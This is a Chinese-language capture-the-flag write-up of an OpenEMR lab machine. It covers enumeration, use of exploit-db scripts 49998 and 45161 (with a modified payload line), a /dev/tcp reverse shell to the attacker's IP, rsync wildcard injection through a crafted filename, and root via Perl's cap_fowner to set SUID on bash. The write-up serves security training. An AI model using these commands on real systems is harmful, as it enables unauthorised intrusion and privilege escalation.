端口扫描

nmap --min-rate=10000 -p- 10.10.156.65
Starting Nmap 7.93 ( https://nmap.org ) at 2023-12-05 13:59 UTC
Nmap scan report for ip-10-10-156-65.eu-west-1.compute.internal (10.10.156.65)
Host is up (0.0060s latency).
Not shown: 65530 closed tcp ports (reset)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
5900/tcp open vnc
8890/tcp open ddi-tcp-3
MAC Address: 02:5B:3A:A9:84:27 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 3.44 seconds
nmap -sT -sV -sC -O -p21,22,80,5900,8890 10.10.156.65
Starting Nmap 7.93 ( https://nmap.org ) at 2023-12-05 14:01 UTC
Nmap scan report for ip-10-10-156-65.eu-west-1.compute.internal (10.10.156.65)
Host is up (0.00053s latency).

PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.10.116.73
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 aa63aeb317f062098d96c8e07a34ef5d (RSA)
| 256 d74a340abce4ceca6fd2a826f7022e4b (ECDSA)
|_ 256 101663fbc4b28b41747bdfbd2dfe3257 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.41 (Ubuntu)
5900/tcp open mysql MySQL 5.5.5-10.3.31-MariaDB-0+deb10u1
| mysql-info:
| Protocol: 10
| Version: 5.5.5-10.3.31-MariaDB-0+deb10u1
| Thread ID: 41
| Capabilities flags: 63486
| Some Capabilities: Support41Auth, IgnoreSigpipes, Speaks41ProtocolNew, Speaks41ProtocolOld, IgnoreSpaceBeforeParenthesis, SupportsLoadDataLocal, LongColumnFlag, SupportsCompression, SupportsTransactions, ConnectWithDatabase, ODBCClient, FoundRows, InteractiveClient, DontAllowDatabaseTableColumn, SupportsMultipleResults, SupportsMultipleStatments, SupportsAuthPlugins
| Status: Autocommit
| Salt: ~`F}d]%<@l"^5-#dQJ]s
|_ Auth Plugin Name: mysql_native_password
8890/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.41 (Ubuntu)
MAC Address: 02:5B:3A:A9:84:27 (Unknown)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 3.13 (95%), Linux 3.8 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 2.6.32 (92%), Linux 2.6.39 - 3.2 (92%), Linux 3.1 - 3.2 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.85 seconds

比较奇怪的是将mysql对外开放了,然后有两个http服务

ftp匿名登录里面直接目录套娃,最后找到一个you_are_determined.txt,大致就是告诉我们有个admin用户

mysql登录不需要密码:

mysql -h 10.10.205.208 -uadmin -P5900

但是里面没有任何有用的数据库

Web

直接对着两个http端口就是一顿乱扫

gobuster dir -u http://10.10.156.65/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x rar,zip,sql,txt,php,html,bak

/admin

dGhpcyBtaWdodCBiZSBhIHVzZXJuYW1l

this might be a username

/shadow

aHR0cHM6Ly93d3cueW91dHViZS5jb20vd2F0Y2g/dj1kUXc0dzlXZ1hjUQ==

这个也是成功被骗了

/passwd这个也是一样

aHR0cHM6Ly93d3cueW91dHViZS5jb20vd2F0Y2g/dj1kUXc0dzlXZ1hjUQ==

得到的并没有什么用

8890端口开了一个openemr,但是我们不知道版本,暂时找不了exp

于是试着扫一下目录

gobuster dir -u http://10.10.156.65:8890/portal -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x rar,zip,sql,txt,php,html,bak

直接爆了一堆目录

/admin.php目录可以发现版本是5.0.1.3,searchsploit搜索一下,发现都是要登录之后的RCE,于是我们需要先拿到凭证

发现可以创建一个新的网站,创建一个ID为test的网站,选择第一个我们没有数据库,创建一个新的

然后我们需要更改的是

Server Host:改成靶机IP

Server Port:改成5900

Password:也就是mysql中openemr用户的密码,密码至少要8位,所以设置成admin1234

Name for root:admin 因为上面我们已经拿到admin用户的mysql,下面的密码不填,因为密码是空

User Hostname:也改成靶机IP

最下面openemruser就设置成admin/admin1234

然后点击continue,网站开始加载,估计是在生成数据库了,过一会儿之后就setup完毕了

来到test的登陆界面,用admin/admin1234直接登录

Exploit

尝试使用exp

cp /usr/share/exploitdb/exploits/php/webapps/49998.py . 

将其中的default改成test,然后运行

python 49998.py -T 10.10.233.81 -P 8890 -U ‘/portal’ -u admin -p admin1234

显示是webshell上传成功了,但是访问的时候却显示404

尝试另一个exp

cp /usr/share/exploitdb/exploits/php/webapps/45161.py .

将其中的?auth=login&site=default改成?auth=login&site=test

sudo tcpdump -i tun0 icmp

开启捕获ICMP流量,用于验证是否能执行命令

python 45161.py -u admin -p admin1234 -c 'ping -c 1 10.11.38.245' http://10.10.233.81:8890/portal/

但是运行的时候成功报错了:TypeError: a bytes-like object is required, not ‘str’

将脚本里的这一行更改(因为socket接收的是字节而非字符串,也许和python的版本有关):

_cmd = "|| echo " + base64.b64encode(args.cmd.encode()).decode() + "|base64 -d|bash"

再次执行,我们成功收到了ping请求!

开启监听,准备一个反弹shell

python 45161.py -u admin -p admin1234 -c 'bash -c "0<&169-;exec 169<>/dev/tcp/10.11.38.245/1234;sh <&169 >&169 2>&169"' http://10.10.233.81:8890/portal/

成功接收!

横向移动

现在我们是www-data,还存在一个plot_admin账户

到家目录,有一个ubuntu目录但是里面没有有用的东西

plot_admin这个用户我们目前没有任何权限

发现有个计划任务,用于备份/var/www/html/portal/config目录下的所有文件,但是似乎利用不了。

有预感在web目录会有什么敏感文件泄露

在/var/www找到第一个flag,但除此之外没有plot_admin的东西了

还是回到之前的计划任务好了。

看了下WP,用的是通配符注入,和之前利用tar创建检查点好像是同一类方式

cd /var/www/html/portal/config

echo "cp /bin/bash /home/plot_admin/pa_shell; chmod +xs /home/plot_admin/pa_shell" > shell.sh

chmod +x shell.sh

touch -- "-e sh shell.sh"

/home/plot_admin/pa_shell.sh -p

这个原理就差不多是先写一个shell.sh,来获取有SUID位的bash,这个没什么好说的

其次是从创建了个名字为-e sh shell.sh的文件,然后crontab应该就会将这个拼接至命令后面:

cd /var/www/html/portal/config && rsync -t * plot_admin@127.0.0.1:~/backup -e sh shell.sh

执行shell.sh

./pa_shell.sh -p

将我们的公钥写进authorized_keys来ssh

提权

看了下没有能用的SUID和SGID

getcap -r / 2>/dev/null

发现有个perl的cap

/usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'

但是发现提权失败了

/usr/bin/perl -e 'exec "cp /bin/bash /tmp/root_bash;chmod +xs /tmp/root_bash"'

也还是不行(悲),仔细看一下这个cap:

/usr/bin/perl = cap_fowner+ep

他只给了改变所有权的权限,也就是说只能做到chmod,chown之类的而并非所有权限

那么

/usr/bin/perl -e 'chmod 04777, "/bin/bash";'

给文件设置一个SUID

然后/bin/bash -p

碎碎念

近期打的认为质量还不错的靶机,从一开始的openemr,并不是直接抄exp就能成功。到后面的通配符注入以及cap的变形。都不是那种能一步秒的点,比较考验应变能力。

贴一篇通配符注入的文章

https://systemweakness.com/privilege-escalation-using-wildcard-injection-tar-wildcard-injection-a57bc81df61c